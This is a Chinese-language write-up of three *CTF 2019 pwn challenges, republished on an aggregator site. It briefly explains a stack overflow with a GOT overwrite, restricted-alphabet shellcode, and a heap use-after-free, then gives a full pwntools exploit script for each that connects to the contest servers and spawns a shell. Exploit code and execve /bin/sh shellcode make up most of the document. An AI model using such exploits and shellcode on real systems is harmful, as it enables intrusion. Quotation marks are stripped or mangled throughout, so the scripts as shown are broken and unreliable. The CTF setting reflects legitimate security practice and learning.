*CTF 2019 quicksortbabyshellupxofcpp

Posted lllkh

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了*CTF 2019 quicksortbabyshellupxofcpp相关的知识,希望对你有一定的参考价值。

这次参加比赛总共出了三道,有两道队友都先交了,还是tcl,heap_master卡了差不多一天没解决。。。。还是记录一下出的题目吧

quicksort

技术图片

技术图片

题目大体流程就是输入要输入的数字数量,然后输入数字,经过一个快速排序输出,然后结束。

漏洞:

gets函数这里存在栈溢出,可以覆盖i,j,ptr,num。

利用思路:

libc泄露:可以修改ptr指向gets_got,并将i和num设置为1,1。这样可以修改free_got的值同时下面会输出gets的地址来泄露libc

步骤:

1.修改free_got为0x8048816同时泄露libc地址

2.修改free_got为system函数并在bss上面构造/bin/sh,把ptr设置为/bin/sh的地址

3.调用free时getshell

exp:

from pwn import *
#p = process(‘./quicksort‘,env={‘LD_PRELOAD‘:‘./libc.so.6‘})
p = remote(34.92.96.238,10000)
#gdb.attach(p)
context.log_level=debug
#libc = ELF(‘/lib/i386-linux-gnu/libc.so.6‘)
libc = ELF(./libc.so.6)
free_got = 0x804a018
main_addr = 0x8048816
bss_addr = 0x804a03c
p.recvuntil(sort?)
p.sendline(3)
p.recvuntil(number:)
payload=str(main_addr)+a*0x7+p32(1)+p32(1)+p32(0)+p32(free_got-0x4)
p.sendline(payload)
p.recvuntil(result:)
p.recvline()
gets_addr = int(p.recvline().replace(\\n,‘‘))+2**32
print "gets_addr:",hex(gets_addr)
libc.address = gets_addr-libc.symbols[gets]
system_addr = libc.symbols[system]
one_gadget = libc.address+0x3ac62
bin_sh_addr = libc.search(/bin/sh\\x00).next()
p.recvuntil(sort?)
p.sendline(1)
p.recvuntil(number:)
payload=str(system_addr-2**32).ljust(16,a)+p32(3)+p32(1)+p32(0)+p32(free_got-0x4)
p.sendline(payload)
p.recvuntil(number:)
payload=str(6845231).ljust(16,a)+p32(2)+p32(0)+p32(0)+p32(bss_addr+0x4)
p.sendline(payload)
p.recvuntil(number:)
payload=str(1852400175).ljust(16,a)+p32(1)+p32(0)+p32(0)+p32(bss_addr)
p.sendline(payload)
p.recvuntil(result:)
p.interactive()

babyshell

这题由于偷懒第二天起太晚了。做完已经被提交了

技术图片

输入shellcode然后会执行,要求是shellcode只能是一个数组里的值。

这题syscall可以调用,rsi本身就是buf地址,所以只需要把rdi改成0,rdx改成length,就可以调用read写buf了,刚好可写的里面有pop rdi,pop rdx

exp:

from pwn import *
import time
#p = process(‘./shellcode‘)
#gdb.attach(p)
p = remote(34.92.37.22,10002)
p.recvuntil(plz:)
payload = ‘‘‘
    push 0x0
    pop rdi
    push 0x73
    pop rdx
    syscall
‘‘‘
p.send(asm(payload,arch=amd64))
payload2 = ‘‘‘
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    mov rsi,0
    mov rdx,0
    mov rax,0x3b
    syscall
‘‘‘
time.sleep(10)
p.send((\\x90*8+asm(payload2,arch=amd64)))
p.interactive()
#raw_input()

upxofcpp

一个upx加壳后的程序,脱壳后分析:

技术图片

技术图片

技术图片

free存在uaf漏洞,而且free和show函数都存在一个特定地址函数调用

这题一直没想出来,直到队里大佬说加壳的程序中堆是rwx的。

技术图片

所以这题就很简单了,步骤为:

1.构造堆块让使用show函数的时候调用一个堆地址

2.在该堆地址上面构造shellcode

3.运行shellcode拿到shell

exp:

from pwn import *
#p = process(‘./upxofcpp‘)
p = remote(34.92.121.149,10000)

context.log_level=debug
def add(index,size,content):
    p.recvuntil(choice:)
    p.sendline(1)
    p.recvuntil(Index:)
    p.sendline(str(index))
    p.recvuntil(Size:)
    p.sendline(str(size))
    p.recvuntil(stop:)
    p.sendline(content)
def delete(index):
    p.recvuntil(choice:)
    p.sendline(2)
    p.recvuntil(index:)
    p.sendline(str(index))
def show(index):
    p.recvuntil(choice:)
    p.sendline(4)
    p.recvuntil(index:)
    p.sendline(str(index))
payload = ‘‘‘
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    mov rsi,0
    mov rdx,0
    mov rax,0x3b
    syscall
‘‘‘
print len(asm(payload,arch=amd64))
payload = asm(payload,arch=amd64)
#print len(payload)
result =‘‘
i = 0
while i<35:
    result+=str(struct.unpack(<i,payload[i:i+4])[0])+ 
    i+=4
result+=-1
print result
add(0,0x22,-1)
add(1,0x12,1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2095775979 -1)
add(2,0x8,-1)
#add(1,0x8,‘1 2 1156288656 -1‘)
add(3,0x50,result)
#add(4,0x22,‘-1‘)
#add(3,0x22,‘-1‘)
delete(2)
delete(1)
delete(0)
#gdb.attach(p)
#delete(3)
show(0)
p.interactive()

 

以上是关于*CTF 2019 quicksortbabyshellupxofcpp的主要内容,如果未能解决你的问题,请参考以下文章

[极客大挑战 2019]Havefun (一起来撸猫) CTF复现

*CTF 2019 quicksortbabyshellupxofcpp

2019广东外语外贸大学CTF新手赛-密码学-RSA题解

[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)

[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)

[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)